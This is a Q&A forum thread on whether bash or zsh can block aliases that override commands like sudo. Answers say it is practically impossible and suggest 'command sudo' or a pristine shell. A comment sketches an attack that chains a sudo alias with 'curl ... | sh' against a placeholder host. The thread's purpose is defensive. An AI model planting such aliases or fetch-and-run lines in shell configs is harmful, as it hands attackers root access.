Is there a blacklist feature/functionality in bash/zsh to prevent specified commands and such from being overridden with an alias?

Specifically - is there something that can be set system-level in a conf file perhaps that can prevent all accounts from aliasing a specified command.


I know of no way to prevent a user from aliasing a command. I asume you mean the alias function of bash or other shells.

You might try to patch bash to blacklist certain commands from being aliased. But then the user can write a shell function instead, or a shell script, or a c program, or use another shell altogether.

I think it is safe to say that trying to blacklist certain commands from being aliased is practically impossible.

  • Yeah, in my research so far this appears to be the case. My point is in preventing aliasing over certain commands (say, no aliases on top of "sudo" or "ls", what have you) to combat evils from being injected into a bashrc file - and by having it set system-level. The purpose wouldn't be in restricting system functions, but preventing them from having an alias overtop of them with something ill intentions. – damianb Nov 28 '12 at 15:18

If your purpose is to ensure safety of commands like sudo, the you should rethink whether that is of any use.

If an attacker was able to compromise your shell configuration (adding funny aliases), then I'd say you are already screwed anyway.


Some alternatives would be:

  • a pristine shell /bin/zsh -f
  • or using command sudo

but again if an attacker has your shell configuration, it means it can execute arbitrary code in your account...

  • "if an attacker has your shell configuration, it means it can execute arbitrary code in your account" - not entirely true. It could be as simple as something generating defaults, such as on online script to "build a bashrc" (which should be glared at suspiciously) for a newer-ish user. Sticking a quickie alias sudo='sudo ', then another alias to do ye olde curl hxxp://some.tld/file | sh would mean that if the alias is ever used in conjunction with sudo, that provides the attacker root access. It's a way to use a userland vulnerability to gain root, and it's why I'm concerned. – damianb Dec 12 '12 at 18:53

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.